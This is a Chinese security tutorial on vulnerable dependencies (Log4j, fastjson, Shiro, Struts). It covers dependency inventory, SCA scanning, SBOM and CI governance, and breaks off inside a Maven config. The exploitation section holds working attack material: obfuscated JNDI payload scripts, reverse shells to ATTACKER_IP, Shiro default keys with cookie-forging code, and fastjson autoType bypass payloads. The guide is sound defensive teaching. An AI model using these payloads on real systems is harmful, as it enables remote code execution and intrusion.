Skip to content

组件漏洞:Log4j、fastjson、Shiro 的排查与治理

这一项以前叫 "Using Components with Known Vulnerabilities"(使用含已知漏洞的组件)。它有个很折磨人的特点:你的代码一行没错,但你的依赖里有洞。 而且这个洞,攻击者比你还先知道。


一、代码没错,依赖有洞

楼盖得完美,水泥是隔壁厂 2019 年那批

你盖了一栋楼,设计完美、施工精良、材料合格。

水泥是隔壁厂 2019 年批次的,那批水泥三个月前被查出会开裂

你的楼会不会塌?会。但不是因为你的设计,是因为你用了有问题的组件,而你没有跟踪这个信息

易受攻击和过时的组件 就是指:你的应用依赖了某个第三方库/框架/中间件,而该组件存在已公开的漏洞(CVE),你却没有升级或修复。

传递依赖:最要命的一点

成因具体表现为什么难
依赖是传递的你引了 A,A 引了 B,B 引了有洞的 C你根本不知道 C 的存在
不知道自己用了什么没有 SBOM(软件物料清单)出了 CVE 无法快速排查影响范围
升级有成本升级破坏兼容性,回归测试成本高明知有洞也不敢升
无人跟踪 CVE没有订阅安全通告Log4j 爆出来三天后才知道
版本识别困难组件被打包、改名、加壳黑盒无法确定版本
组件早已 EOL用的框架 5 年前就不维护了官方不修,只能自己 patch

💡 踩坑提示(传递依赖):这是最致命的一点。以 Log4j2 为例,绝大多数中招的系统从来没有直接依赖过 log4j-core —— 它们依赖的是某个 Spring Boot starter、某个 ES 客户端、某个消息队列 SDK,而那些东西传递依赖了 log4j。所以排查时只扫 pom.xml 里直接写的依赖,是查不出来的,必须扫完整的依赖树

扫出来有 CVE,不等于真能被打

一个组件漏洞要能被实际利用,需要:

  1. 目标确实使用了受影响版本 —— 版本识别是第一道关卡。
  2. 漏洞代码路径可达 —— 组件装了但没调用那个功能,就不会被触发。比如某个库只有 XML 解析 模块有洞,而你只用它的 JSON 解析 功能。
  3. 存在公开的利用方式或可自行构造 —— 大部分 CVE 爆出后几天内就有 PoC。

第 2 点很重要,它决定了**"扫出来有 CVE" 不等于 "真的能被攻击"**。这也是为什么 SCA 工具会有一堆误报 —— 它们只看版本,不看可达性。

五个经典场景,以及那三天

OWASP 数据:CWE 集合仅 3 个(是十项里最少的),但平均加权利用率 6.80%,影响 7.07%单项利用率极高 —— 因为一旦有 PoC,批量利用成本极低。

典型场景

场景一:Log4j2 RCE(CVE-2021-44228)

几乎所有 Java 应用都受影响
攻击者只要让应用记录一条包含 ${jndi:ldap://attacker.com/x} 的日志 → RCE
常见触发点:User-Agent、X-Forwarded-For、用户名、搜索关键词
危害等级:满分 10.0

场景二:fastjson 反序列化(历史多个 CVE)

请求体: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/x","autoCommit":true}
→ 服务端解析 JSON 时触发 JNDI 注入 → RCE
特征:请求体含 @type 字段

场景三:Shiro 反序列化(CVE-2016-4437,Shiro-550)

Cookie: rememberMe=<AES加密的序列化对象>
默认密钥 kPH+bIxk5D2deZiIxcaaaA== 是硬编码且公开的
→ 攻击者用默认密钥构造恶意序列化数据 → 服务端解密后反序列化 → RCE

场景四:Struts2 系列(S2-045 等)

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']...}multipart/form-data
→ OGNL 表达式注入 → RCE

场景五:供应链投毒

攻击者发布一个与流行包名字相似的恶意包(typosquatting)
    lodash  →  lodahs / lod-ash / lodashs
    python-dateutil → python3-dateutil  (经典案例,偷了 AWS 密钥)
开发者手滑装错 → 恶意代码在安装脚本中执行 → 凭据泄露

📌 真实场景:某次 Log4j 应急,我们有一台服务器怎么都查不到 log4j 的 jar 包,但 WAF 日志显示它确实被打过。最后在一个打包在 fat jar 里的内嵌依赖中找到了 —— 它被 shade 插件重定位并打进了 BOOT-INF/lib,常规的文件搜索根本搜不到。排查组件漏洞,一定要扫依赖树,不能只搜文件名。


二、先搞清楚你用了什么

排查第一步:先知道你用了什么

这是最可靠的方式 —— 直接看项目到底依赖了什么。

Java(Maven)

bash
# 生成完整依赖树(关键!包含传递依赖)
mvn dependency:tree -Dverbose > deps.txt

# 只看某个组件的依赖路径
mvn dependency:tree -Dincludes=org.apache.logging.log4j

# 查找 log4j(Log4j 应急时的经典命令)
mvn dependency:tree | grep -i log4j

# 查找所有含已知漏洞嫌疑的常见组件
mvn dependency:tree | grep -iE "log4j|fastjson|shiro|struts|xstream|jackson|snakeyaml"

# Gradle 项目
./gradlew dependencies > deps.txt
./gradlew dependencyInsight --dependency log4j-core

# 对于已经打好的 fat jar / war 包
# 列出 jar 内所有内嵌依赖(这步非常重要,fat jar 里的依赖常被漏掉)
unzip -l app.jar | grep -iE "\.jar$" | grep -iE "log4j|fastjson|shiro"

# 更彻底:解压后递归检查
mkdir -p /tmp/jarx && cd /tmp/jarx && unzip -q /path/to/app.jar
find . -name "*.jar" | while read j; do
  echo "=== $j ==="
  unzip -p "$j" META-INF/MANIFEST.MF 2>/dev/null | grep -iE "Implementation-Version|Bundle-Version"
done

Python

bash
# 列出已安装包及其版本
pip list --format=freeze > requirements-frozen.txt

# 生成完整依赖树
pip install pipdeptree
pipdeptree > deps.txt
pipdeptree -p requests      # 查看某个包的依赖与被依赖关系

# 从 requirements.txt 检查
cat requirements.txt

# 检查 poetry / pipenv
poetry show --tree
pipenv graph

Node.js

bash
# 列出依赖树
npm list --all > deps.txt
npm list --all 2>/dev/null | grep -iE "lodash|axios|express"

# 只看生产依赖(排除 devDependencies,减少噪音)
npm list --omit=dev --all

# yarn / pnpm
yarn list --depth=10
pnpm list --depth=10

# 检查 package-lock.json 中某个包的所有版本
jq '.packages | to_entries | map(select(.key | contains("lodash")))' package-lock.json

PHP

bash
composer show --tree
composer show | grep -iE "monolog|guzzle|symfony"

Go

bash
go list -m all           # 列出所有模块
go mod graph             # 依赖关系图

通用:生成 SBOM(软件物料清单)

SBOM 是现在最推荐的资产梳理方式 —— 它把"我用了什么"变成一份机器可读的清单。

bash
# 使用 Syft 生成 SBOM(支持多种语言和容器镜像)
# 安装: curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh

# 扫描目录
syft dir:/path/to/project -o cyclonedx-json > sbom.json

# 扫描容器镜像
syft myimage:latest -o cyclonedx-json > sbom.json

# 扫描并直接输出表格
syft dir:. -o table

# 输出格式支持: cyclonedx-json / spdx-json / syft-json / table

有了 SBOM,下次再有 Log4j 级别的全行业漏洞,几分钟就能确认影响范围,而不用临时全公司排查三天。

SCA 扫描:误报很多,靠可达性过滤

生成依赖清单后,用工具匹配 CVE 数据库。

bash
# ===== OWASP Dependency-Check(老牌,Java 生态最好用)=====
# 下载: https://owasp.org/www-project-dependency-check/

dependency-check.sh \
  --project "MyApp" \
  --scan /path/to/project \
  --out /tmp/dc-report \
  --format HTML \
  --format JSON
# 首次运行会下载 NVD 数据库,比较慢(几十分钟),后续增量更新快
# 报告会列出每个依赖匹配的 CVE、CVSS 评分、以及可信度

# 离线/内网环境:需要配置 NVD API Key 加快下载
# export NVD_API_KEY=your-key

# ===== Trivy(推荐,快且支持全场景)=====
# 安装: https://github.com/aquasecurity/trivy
# 扫依赖文件
trivy fs --severity HIGH,CRITICAL /path/to/project
# 扫容器镜像
trivy image --severity HIGH,CRITICAL myimage:latest
# 扫 SBOM
trivy sbom sbom.json
# 输出 JSON
trivy fs --format json --output result.json /path/to/project

# ===== Grype(Anchore,与 Syft 配套)=====
syft dir:. -o json > sbom.json
grype sbom:./sbom.json

# ===== npm / yarn 内置 =====
npm audit
npm audit --json
npm audit fix          # 自动修复(谨慎,可能破坏兼容性)
yarn audit

# ===== Python =====
pip install pip-audit
pip-audit
pip-audit --requirement requirements.txt

# 或 safety
pip install safety
safety check -r requirements.txt

# ===== Go =====
go install golang.org/x/vuln/cmd/govulncheck@latest
govulncheck ./...

SCA 结果的处理原则(这很重要,否则会被海量告警淹没):

1. 看 CVSS 评分:只优先处理 CRITICAL(9.0+) 和 HIGH(7.0+)
2. 看是否有公开 PoC/EXP:
   - 有 EXP → 立即修(攻击者已经在批量扫了)
   - 只有 PoC → 尽快修
   - 都无 → 排期修
3. 看可达性(关键!大幅降低误报):
   - 这个有洞的函数,我们的代码真的调用了吗?
   - 例:jackson-databind 的某个 gadget 依赖 commons-collections,
     如果我们项目里没有 commons-collections,该 gadget 就不可用
4. 看是否有修复版本,以及升级成本
5. 无法升级时的临时方案:
   - 虚拟补丁(WAF 规则拦截)
   - 移除不必要的依赖
   - 参数/配置层面禁用危险特性(如 Log4j 的 -Dlog4j2.formatMsgNoLookups=true)

黑盒:指纹识别与版本确定

白盒拿不到(比如测试别人的系统)时,靠黑盒指纹。

Step 1:识别技术栈

bash
# ===== WhatWeb(快速识别)=====
whatweb -a 3 https://target.com -v
# -a 3 是激进模式,会做更多探测

# ===== Wappalyzer(浏览器插件,最直观)=====
# 安装浏览器插件,访问页面即可看到完整技术栈

# ===== Nuclei 技术识别(推荐,可批量)=====
nuclei -u https://target.com -t ~/nuclei-templates/technologies/ -silent

# 批量识别
nuclei -l targets.txt -tags tech -o tech_results.txt

# ===== httpx(快速批量指纹)=====
echo "https://target.com" | httpx -tech-detect -title -status-code -follow-redirects

Step 2:识别具体版本

bash
# 方法 1:从响应头识别
curl -sI https://target.com | grep -iE "server|x-powered-by|x-aspnet-version|x-generator"

# 方法 2:从特定文件的特征识别
# jQuery 版本
curl -s https://target.com/js/jquery.js | head -5
# 通常第一行注释含版本号: /*! jQuery v3.5.1 | (c) JS Foundation ... */

# 方法 3:从路径特征识别
curl -s -o /dev/null -w "%{http_code}\n" https://target.com/wp-login.php      # WordPress
curl -s -o /dev/null -w "%{http_code}\n" https://target.com/administrator/    # Joomla
curl -s -o /dev/null -w "%{http_code}\n" https://target.com/user/login        # Drupal

# 方法 4:从报错页面识别(详细错误会泄露版本)
curl -s "https://target.com/'" | grep -iE "version|apache|tomcat|nginx|php/"

# 方法 5:从 favicon 的 hash 识别
curl -s https://target.com/favicon.ico | md5sum
# 然后查 favicon hash 数据库(如 https://github.com/pentestmonkey/favicon-hash)

# 方法 6:用 nuclei 的版本检测模板
nuclei -u https://target.com -t ~/nuclei-templates/technologies/ -tags version -silent

Step 3:CVE 匹配与验证

bash
# ===== Nuclei CVE 模板扫描(黑盒验证组件漏洞的首选)=====
# 全量扫(覆盖所有已知 CVE,请求量大,注意速率)
nuclei -u https://target.com -t ~/nuclei-templates/ -severity critical,high -rate-limit 10

# 按组件定向扫(推荐,精准且快)
nuclei -u https://target.com -t ~/nuclei-templates/http/cves/2021/ -tags log4j
nuclei -u https://target.com -tags shiro,fastjson,struts,weblogic

# 批量扫多个目标(适合应急响应时全量排查)
nuclei -l all_targets.txt -tags cve -severity critical,high \
       -rate-limit 30 -o cve_results.txt

# 搜索模板
nuclei -tl | grep -i log4j
ls ~/nuclei-templates/http/cves/ | grep -i "2021"

# ===== searchsploit 查找 EXP =====
searchsploit log4j
searchsploit "Apache Shiro"
searchsploit fastjson
# -x 查看 exploit 源码
searchsploit -x 50592

# ===== 在线 CVE 查询 =====
# https://nvd.nist.gov/
# https://cve.mitre.org/
# https://github.com/advisories
# https://avd.aliyun.com/  (阿里云漏洞库,中文,更新快)

黑盒判断依据

场景判断依据
Shiro响应含 rememberMe=deleteMe Cookie → 使用 Shiro
fastjson提交畸形 JSON 报错信息含 fastjson;或响应 Content-Type: application/json 且错误信息含 com.alibaba.fastjson
Struts2URL 后缀 .action / .do;或报错含 Struts
Weblogic端口 7001;/console 可访问;报错含 Oracle WebLogic
Log4j2无法直接判断,需测 DNS 回连;或用版本识别 + CVE 匹配
Tomcat8080 端口;报错页含版本号;/manager/html
Jenkins响应头含 X-Jenkins/jenkins/ 路径
Drupal/WordPress/CHANGELOG.txt(版本)、/wp-login.php、meta 标签 generator

💡 踩坑提示黑盒识别版本的准确率有限。组件被二次打包、前端文件被合并压缩、CDN 缓存、版本信息被刻意隐藏 —— 这些都会导致误判。所以黑盒扫出 CVE 后,最好能找到第二个证据交叉验证(比如响应报错细节、特定路径存在性、行为差异)。


三、Log4j、Shiro、fastjson 逐个复现

⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。

Log4j2:从 DNSLog 探测到 RCE

原理:Log4j2 支持 ${jndi:ldap://...} 这种"查找"语法,会在记录日志时去请求外部 LDAP 服务器并加载远程类 → 远程代码执行。

Step 1:准备 DNSLog 平台(检测是否有回连,最安全的验证方式)

常用 DNSLog 平台:
  http://dnslog.cn         (国内,快)
  http://ceye.io           (功能全)
  自建: interact.sh / Burp Collaborator

Step 2:构造 Payload 并注入到所有可能的日志点

bash
#!/usr/bin/env bash
# Log4j2 检测:把 payload 注入到所有可能被记录的位置
# 用法: bash log4j_check.sh https://target.com YOURDNSDOMAIN

TARGET="$1"
DNS="$2"     # 例如: abc123.dnslog.cn

# 各类 payload(含混淆变体,绕过简单过滤)
PAYLOADS=(
  '${jndi:ldap://'${DNS}'/a}'
  '${jndi:rmi://'${DNS}'/a}'
  '${${lower:j}ndi:ldap://'${DNS}'/b}'           # 大小写/嵌套混淆
  '${${upper:j}ndi:ldap://'${DNS}'/c}'
  '${jndi:ldap://'${DNS}'/#}'                     # 带 # 绕过部分 WAF
  '${${::-j}ndi:ldap://'${DNS}'/d}'               # ::- 绕过
  '${jndi:${lower:l}${lower:d}a${lower:p}://'${DNS}'/e}'
  '${jndi:ldap://127.0.0.1#'${DNS}'/f}'           # 127.0.0.1# 绕过内网限制
)

echo "=========== 注入到 HTTP 头 ==========="
for p in "${PAYLOADS[@]}"; do
  # User-Agent(最常见的日志点)
  curl -s -o /dev/null --max-time 8 -H "User-Agent: $p" "$TARGET"

  # X-Forwarded-For(反向代理后常记录真实 IP)
  curl -s -o /dev/null --max-time 8 -H "X-Forwarded-For: $p" "$TARGET"

  # Referer
  curl -s -o /dev/null --max-time 8 -H "Referer: $p" "$TARGET"

  # X-Client-IP / X-Real-IP / CF-Connecting-IP
  curl -s -o /dev/null --max-time 8 -H "X-Client-IP: $p" "$TARGET"
  curl -s -o /dev/null --max-time 8 -H "X-Real-IP: $p" "$TARGET"

  # Cookie
  curl -s -o /dev/null --max-time 8 -H "Cookie: session=$p" "$TARGET"

  # X-Api-Version(Spring Boot 常见日志点)
  curl -s -o /dev/null --max-time 8 -H "X-Api-Version: $p" "$TARGET"

  # 自定义头
  curl -s -o /dev/null --max-time 8 -H "Authorization: Bearer $p" "$TARGET"
done

echo
echo "=========== 注入到 URL 参数 ==========="
for p in "${PAYLOADS[@]}"; do
  curl -s -o /dev/null --max-time 8 "$TARGET/?q=$p"
  curl -s -o /dev/null --max-time 8 "$TARGET/?search=$p"
  curl -s -o /dev/null --max-time 8 "$TARGET/?id=$p"
done

echo
echo "=========== 注入到 POST 表单 / 登录 ==========="
for p in "${PAYLOADS[@]}"; do
  # 用户名(登录失败日志常记录用户名)
  curl -s -o /dev/null --max-time 8 -X POST "$TARGET/login" \
    -d "username=$p&password=test123"

  # JSON 体
  curl -s -o /dev/null --max-time 8 -X POST "$TARGET/api/search" \
    -H "Content-Type: application/json" -d "{\"keyword\":\"$p\"}"
done

echo
echo "=========== 完成 ==========="
echo "请到 DNSLog 平台查看是否有解析记录"
echo "若有 ${DNS} 的解析记录 → 目标存在 Log4j2 JNDI 注入(CVE-2021-44228)"

Step 3:完整 RCE 利用(确认存在后)

bash
# 使用 JNDIExploit 搭建恶意 LDAP + HTTP 服务
# 工具: https://github.com/feihong-cs/JNDIExploit

# 1. 启动恶意服务(监听 LDAP 1389 和 HTTP 8888)
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0 -p 8888

# 2. 发送 payload(LDAP 端口 1389)
curl -H "User-Agent: \${jndi:ldap://ATTACKER_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZA==}" \
  https://target.com
# Base64 部分解码后是: touch /tmp/pwned

# 3. 确认执行结果(需要有其他方式验证,如DNSLog外带结果)
curl -H "User-Agent: \${jndi:ldap://ATTACKER_IP:1389/Basic/Command/Base64/$(echo -n 'id' | base64)}" \
  https://target.com

# 反弹 Shell
CMD="bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# 需要 Base64 编码(注意 JNDI 对特殊字符敏感,通常要先编码再走 Basic/Command/Base64)

Log4j 的应急缓解措施(无法立即升级时):

bash
# 方案 1(Log4j 2.10+):JVM 启动参数禁用 lookup
-Dlog4j2.formatMsgNoLookups=true

# 方案 2(所有 2.x):设置环境变量
LOG4J_FORMAT_MSG_NO_LOOKUPS=true

# 方案 3(2.0-beta9 到 2.10.0,前两条无效时):
# 删除 log4j-core 中的 JndiLookup 类
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

# 验证是否删除成功
unzip -l log4j-core-*.jar | grep -i jndilookup
# 无输出 = 已删除

# 方案 4(最彻底):升级到 2.17.1+

Shiro-550:一个硬编码密钥的代价

原理:Shiro 的"记住我"功能把用户身份序列化后 AES 加密放在 rememberMe Cookie 里。1.2.4 及之前版本使用硬编码的默认密钥,密钥已公开 → 攻击者可伪造任意序列化对象 → 反序列化 RCE。

Step 1:确认使用 Shiro

bash
curl -sI https://target.com/login | grep -i "rememberMe"
# 若返回 Set-Cookie: rememberMe=deleteMe → 使用 Shiro

Step 2:检测默认密钥

bash
# 使用 shiro-exploit 工具
# https://github.com/insightglacier/Shiro_exploit

python3 shiro_exploit.py -u https://target.com
# 工具会自动尝试常见的默认密钥,输出检测到的 key

# 或者用 nuclei
nuclei -u https://target.com -t ~/nuclei-templates/http/cves/2016/CVE-2016-4437.yaml

# 手动验证:用默认密钥构造一个无害的探测请求
# 默认密钥(部分已知):
#   kPH+bIxk5D2deZiIxcaaaA==
#   2AvVhdsgUs0FSA3SDFAdag==
#   3AvVhmFLUs0KTA3Kprsdag==
#   wGiHplamyXlVB11UXWol8g==

Step 3:利用(使用 ysoserial 生成 payload)

bash
# 1. 下载 ysoserial
# https://github.com/frohoff/ysoserial/releases

# 2. 生成 CommonsBeanutils 链的 payload(Shiro 最常用的链)
java -jar ysoserial.jar CommonsBeanutils1 \
  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" \
  > payload.ser
# 中间的 base64 解码后是: bash -i >& /dev/tcp/192.168.1.1/4444 0>&1
# 注意:命令中的特殊字符需要 base64 编码,否则会被 shell 解析破坏

# 3. 用 Shiro 默认密钥加密 payload
python3 -c "
from Crypto.Cipher import AES
import base64, sys

key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
# Shiro 1.2.4 使用 AES/CBC/PKCS5Padding,IV 是随机生成的 16 字节
iv = b'0123456789abcdef'   # 实际使用时随机生成

payload = open('payload.ser','rb').read()
# PKCS7 填充
bs = 16
pad_len = bs - (len(payload) % bs)
payload += bytes([pad_len]) * pad_len

cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(payload)
# Shiro 的 Cookie 格式: base64(iv + ciphertext)
print(base64.b64encode(iv + encrypted).decode())
" > rememberme_cookie.txt

# 4. 监听反弹 shell
nc -lvnp 4444

# 5. 发送请求
curl -s https://target.com/ \
  -H "Cookie: rememberMe=$(cat rememberme_cookie.txt)"

💡 踩坑提示:Shiro 利用最麻烦的是 gadget chain 的选择。不同版本的 Shiro、不同的依赖环境,可用的链不同。常见顺序:CommonsBeanutils1CommonsCollections*URLDNS(这个只做 DNS 探测,不执行命令,最适合安全验证)。确认漏洞存在用 URLDNS 就够了,不要一上来就打 RCE。

用 URLDNS 做安全探测

bash
# URLDNS 链只触发一次 DNS 查询,不执行任何命令 —— 最安全的验证方式
java -jar ysoserial.jar URLDNS "http://your-dnslog-domain.dnslog.cn" > urldns.ser

# 加密后发送
# 到 DNSLog 平台看是否有解析记录 → 有则漏洞存在

fastjson:autoType 的前世今生

Step 1:判断是否使用 fastjson

bash
# 方法 1:提交畸形 JSON,看报错
curl -s -X POST https://target.com/api/test \
  -H "Content-Type: application/json" \
  -d '{"@type":"test"}' | head -c 500
# 若报错含 com.alibaba.fastjson → 使用 fastjson
# 若报错含 Jackson / Gson → 不是 fastjson

# 方法 2:用特殊语法探测(不触发漏洞,只判断解析器)
# fastjson 特有的容错行为:接受 {"a":1,} 这种带尾逗号的非标准 JSON
curl -s -X POST https://target.com/api/test \
  -H "Content-Type: application/json" \
  -d '{"a":1,}'
# 若不报错 → 高度怀疑 fastjson(严格解析器会报错)

# 方法 3:DNSLog 探测(安全)
curl -s -X POST https://target.com/api/test \
  -H "Content-Type: application/json" \
  -d '{"@type":"java.net.Inet4Address","val":"your-domain.dnslog.cn"}'
# 到 DNSLog 看是否有解析记录

Step 2:利用(开启 autoType 时)

bash
# 1. 准备恶意 LDAP 服务(同 Log4j)
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0 -p 8888

# 2. 发送 payload
curl -s -X POST https://target.com/api/test \
  -H "Content-Type: application/json" \
  -d '{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://ATTACKER_IP:1389/Basic/Command/Base64/aWQ=",
        "autoCommit":true
      }'
# Base64 "aWQ=" 解码为 "id"

# fastjson 1.2.24 及之前的 payload 变体(绕过 autoType 黑名单)
{
  "a": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://ATTACKER_IP:1389/Exploit",
    "autoCommit": true
  }
}
# 这是 1.2.47 绕过手法:先加载类到缓存,再引用,绕过 checkAutoType

📌 说明:fastjson 1.2.25 之后默认关闭 autoTypesafeMode),大部分利用失效。现代版本主要靠"绕过 autoType 的新 gadget",利用难度大幅提升。检测时优先用 DNSLog 判断,不要指望直接 RCE。

供应链投毒:装包前先看这四项

bash
# 检测 typosquatting(仿冒包)
# 原则:安装包前核对包名、作者、下载量、发布时间

# npm 检查包的元信息
npm view <package-name>
# 关注:
#   - 创建时间(新包但下载量很大 → 可疑)
#   - maintainers(是否官方)
#   - 是否有 repository 链接

# 检查包的 postinstall 脚本(恶意代码常藏在这里)
npm view <package-name> scripts

# Python 检查
pip download <package> --no-deps -d /tmp/pkg   # 先下载不安装
cd /tmp/pkg && tar -xzf *.tar.gz
cat */setup.py | grep -A10 -iE "cmdclass|post_install|setup\(|ext_modules"
# 看是否有可疑的自定义安装逻辑

# 静态扫描依赖包的恶意行为
# 工具: socket.dev / snyk / npq
npm install -g npq
npq install <package-name>    # 安装前自动检查已知风险

应急响应:一分钟内扫完全部资产

Log4j 那次应急让我意识到:必须有一个脚本能在一分钟内扫完全部资产

bash
#!/usr/bin/env bash
# 服务器 log4j 应急排查脚本(在每台服务器上执行)
# 用法: bash scan_log4j.sh

echo "=========== $(hostname) - $(date) ==========="
FOUND=0

echo "--- 1. 查找文件系统中的 log4j jar ---"
find / -name "log4j-core*.jar" -not -path "*/proc/*" 2>/dev/null | while read jar; do
    echo "[!] 发现: $jar"
    # 提取版本
    ver=$(unzip -p "$jar" META-INF/MANIFEST.MF 2>/dev/null | grep -i "Implementation-Version" | head -1)
    echo "    版本: $ver"
done

echo
echo "--- 2. 查找运行中的 Java 进程加载的 log4j ---"
for pid in $(pgrep java 2>/dev/null); do
    echo "[*] Java PID: $pid"
    # 用 lsof 查看该进程打开的文件
    lsof -p "$pid" 2>/dev/null | grep -i "log4j" | awk '{print "    加载: "$9}'
done

echo
echo "--- 3. 检查 fat jar / war 内的内嵌 log4j ---"
# 查找所有 jar/war/ear 文件
find / \( -name "*.jar" -o -name "*.war" -o -name "*.ear" \) \
     -not -path "*/proc/*" -size +1M 2>/dev/null | while read f; do
    # 不解压,直接列出内容并 grep(快)
    if unzip -l "$f" 2>/dev/null | grep -qi "log4j-core"; then
        echo "[!] $f 内嵌 log4j-core"
        unzip -l "$f" 2>/dev/null | grep -i "log4j-core" | awk '{print "    "$4}'
    fi
done

echo
echo "--- 4. 检查 Maven/Gradle 本地仓库 ---"
find ~/.m2 ~/.gradle -name "log4j-core*.jar" 2>/dev/null | head -20

echo
echo "--- 5. 检查 Docker 镜像 ---"
if command -v docker &> /dev/null; then
    docker images --format "{{.Repository}}:{{.Tag}}" | while read img; do
        if docker run --rm --entrypoint sh "$img" -c \
           "find / -name 'log4j-core*.jar' 2>/dev/null | head -5" 2>/dev/null | grep -q "log4j"; then
            echo "[!] 镜像 $img 含 log4j"
        fi
    done
fi

echo
echo "=========== 排查完成 ==========="
echo "受影响版本: 2.0-beta9 <= log4j < 2.17.0"
echo "修复方案: 升级到 2.17.1+"

四、从 SBOM 到 CI 卡点的治理

SBOM:让全量排查从三天变三分钟

这是 A06 治理的地基 —— 你无法管理你不知道的东西。

bash
# 在 CI 中自动生成并归档 SBOM
# 每次构建都产出一份,保留历史版本

# GitHub Actions 示例
yaml
# .github/workflows/sbom.yml
name: Generate SBOM

on:
  push:
    branches: [main]
  release:
    types: [published]

jobs:
  sbom:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Install Syft
        run: curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin

      - name: Generate SBOM
        run: syft dir:. -o cyclonedx-json > sbom.json

      - name: Scan SBOM for vulnerabilities
        uses: anchore/scan-action@v3
        with:
          sbom: sbom.json
          fail-build: true
          severity-cutoff: high

      - name: Upload SBOM artifact
        uses: actions/upload-artifact@v4
        with:
          name: sbom
          path: sbom.json

      - name: Attach SBOM to release
        if: github.event_name == 'release'
        uses: softprops/action-gh-release@v1
        with:
          files: sbom.json

SBOM 的核心价值 —— 下次 Log4j 事件发生时:

bash
# 有了 SBOM,全量排查只需要一条命令
grep -i "log4j" sbom.json | jq .

# 或者用 trivy 直接扫历史 SBOM
for sbom in sbom-archive/*.json; do
    echo "=== $sbom ==="
    trivy sbom "$sbom" --severity CRITICAL
done
# 几分钟就能确认全部受影响的应用,而不是临时全公司排查三天

CI 卡点:高危组件进不来

yaml
# .github/workflows/dependency-check.yml
name: Dependency Security Check

on:
  push:
    branches: [main, develop]
  pull_request:
  schedule:
    # 每周一凌晨 2 点全量扫描(捕获新披露的 CVE)
    - cron: '0 2 * * 1'

jobs:
  sca:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # ===== 方案 A: Trivy(推荐,快)=====
      - name: Trivy vulnerability scan
        uses: aquasecurity/trivy-action@master
        with:
          scan-type: 'fs'
          scan-ref: '.'
          format: 'sarif'
          output: 'trivy-results.sarif'
          severity: 'CRITICAL,HIGH'
          exit-code: '1'          # 发现高危则阻断

      - name: Upload to GitHub Security tab
        uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: 'trivy-results.sarif'

      # ===== 方案 B: OWASP Dependency-Check =====
      - name: Dependency-Check
        uses: dependency-check/Dependency-Check_Action@main
        with:
          project: 'MyApp'
          path: '.'
          format: 'HTML'
          args: >
            --failOnCVSS 7
            --enableRetired

      - name: Upload report
        uses: actions/upload-artifact@v4
        if: always()
        with:
          name: dependency-check-report
          path: reports/

      # ===== Node 项目额外用 npm audit =====
      - name: npm audit
        run: |
          npm ci
          npm audit --audit-level=high
        continue-on-error: false

企业级:Dependabot / Renovate 自动升级

yaml
# .github/dependabot.yml
version: 2
updates:
  # Java / Maven
  - package-ecosystem: "maven"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    # 只自动创建安全更新的 PR
    labels:
      - "security"
      - "dependencies"
    # 安全更新优先
    target-branch: "develop"

  # Node
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    versioning-strategy: increase-if-necessary

  # Python
  - package-ecosystem: "pip"
    directory: "/"
    schedule:
      interval: "weekly"

  # Docker 基础镜像
  - package-ecosystem: "docker"
    directory: "/"
    schedule:
      interval: "weekly"

  # GitHub Actions
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

💡 踩坑提示:Dependabot 的 PR 会非常多(一个中型项目每周几十个),如果不加管理会淹没团队。建议配置:安全更新自动合并(有测试保障的前提下),普通版本更新人工定期批量处理。 另外 open-pull-requests-limit 一定要设,否则 PR 堆积到几百个。

依赖锁定、白名单与依赖混淆防护

策略一:锁定版本 + 校验和

bash
# ===== Python =====
# 生成锁定文件(包含精确的传递依赖版本和 hash)
pip install pip-tools
pip-compile --generate-hashes requirements.in -o requirements.txt

# 安装时校验 hash(防止依赖被篡改)
pip install --require-hashes -r requirements.txt

# ===== Node =====
# package-lock.json / yarn.lock 必须提交到 Git
# CI 中使用 npm ci 而非 npm install(严格按 lock 文件安装)
npm ci

# 开启严格模式
npm config set save-exact true     # 精确版本,不用 ^ ~

# ===== Go =====
# go.sum 提供校验和,必须提交
# 设置环境变量禁止不安全的下载
export GOFLAGS="-mod=readonly"
export GONOSUMDB=""
export GONOSUMCHECK=0
export GOSUMDB=sum.golang.org

# 验证依赖
go mod verify

# ===== Java =====
# Maven 使用 dependency-lock 或 enforcer 插件
# Gradle 启用 dependency locking
./gradlew dependencies --write-locks

策略二:依赖白名单 / 审批

xml
<!-- Maven Enforcer Plugin: 禁止引入黑名单依赖 -->
<plugin>
  <groupId>org.apache.maven.plugins</groupId>
  <artifactId>maven-enforcer-plugin</artifactId>
  <version>3.4.1</version>
  <executions>
    <execution>
      <id>ban-vulnerable-deps</id>
      <goals><goal>enforce</goal></goals>
      <configuration>
        <rules>
          <!-- 禁止黑名单依赖 -->
          <bannedDependencies>
            <excludes>
              <!-- Log4j 2.x < 2.17.1 一律禁止 -->
              <exclude>org.apache.logging.log4j:log4j-core:(,2.17.1)</exclude>
              <!-- fastjson < 1.2.83 禁止 -->
              <exclude>com.alibaba:fastjson:(,1.2.83)</exclude>
